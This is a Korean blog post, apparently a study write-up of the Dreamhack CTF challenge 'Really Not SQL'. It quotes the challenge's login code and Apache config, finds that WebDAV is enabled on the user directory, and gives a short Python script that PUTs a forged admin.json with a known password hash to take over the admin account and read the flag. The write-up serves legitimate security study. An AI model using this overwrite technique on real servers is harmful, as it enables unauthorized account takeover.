| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | 5 | ||
| 6 | 7 | 8 | 9 | 10 | 11 | 12 |
| 13 | 14 | 15 | 16 | 17 | 18 | 19 |
| 20 | 21 | 22 | 23 | 24 | 25 | 26 |
| 27 | 28 | 29 | 30 |
Tags
- SK쉴더스
- git push -u
- 태국
- gdgm
- 루키즈
- 지도학습
- echo 명령어
- 보안공부
- 클래스
- 레이블인코딩
- Package
- 수업복습
- 함수
- 예외처리
- Linked List
- OT후기
- List
- node.js
- pandas
- tunder client
- 꽉뚝짝 시장
- 데이터분포
- 성능평가지표
- sqld
- 방콕
- 루키즈33기
- dropna
- 패키지
- 블록(Block)
- 생성형AI
Archives
- Today
- Total
개발 블로그
[DreamHeck] Really Not SQL 본문
먼저 login.php에서 이렇게 코드를 분석함.
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$userDir = __DIR__ . '/user/';
$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
$filename = $username . '.json'; # admin.json, guest.json
$filepath = $userDir . $filename; # /user/admin.json 이런 식의 경로
if ($username !== "admin" && $username !== "guest") {
$error = "User not found";
} else {
$userData = json_decode(file_get_contents($filepath), true); # JSON 형식의 문자열을 PHP 배열이나 객체로 변환하는 함수
if ($userData['id'] !== $username){
$error = "Error occured";
} else if ($userData['password'] !== hash("sha256", $password)) { # sha256 해시값
$error = "Invalid password";
} else {
$_SESSION['user'] = $username;
$success = true;
}
}
}
?>
그리고나서 guest.json을 보고
{"no": 1, "id": "guest", "password": "84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec"} // 비번 guest
여기서 password가 hash256 이므로 https://crackstation.net/이 사이트에서 크래커를 해봄.
그랬더니 비번이 guest가 나옴.
admin도 같은 방법으로 해봤는데 안됐음.. 그래서 000-default.conf이 파일을 봄.
<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
<Directory /var/www/html/>
AllowOverride None
Require all granted
</Directory>
<Directory /var/www/html/user/>
DAV On # 특정 디렉터리나 위치에서 WebDAV 기능을 활성화하여 원격으로 파일을 관리하고 편집할 수 있도록 허용 -> 수정 가능..??
Options Indexes
AllowOverride All
Require all granted
</Directory>
</VirtualHost>
DAV On이 부분이 취약점이었음.
그래서 새로 파일을 하나 만들었음. password는 admin을 해시값으로 변경해서 넣었음.
import requests
url = "http://host3.dreamhack.games:12936/user/admin.json"
data = {"no": 0, "id": "admin", "password": "8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918"}
res = requests.put(url, json=data)
그렇게 했더니 admin/admin으로 다 잘 로그인이 됨.
그다음에 flag.php 파일을 확인하여 flag 값이 어디에 배치되어 있는지 확인함.
http://host3.dreamhack.games:12936/flag.php 이 경로로 플래그를 찾음.
'Study > Web Hacking' 카테고리의 다른 글
| [Webhacking.kr] old-27 (0) | 2026.07.22 |
|---|---|
| [webhacking.kr] old-07 (0) | 2026.07.22 |
| [DreamHeck] pathtraversal (0) | 2026.07.21 |
| [DreamHeck] random-test (0) | 2026.07.21 |
| [DreamHeck] xss-2 (0) | 2026.07.21 |
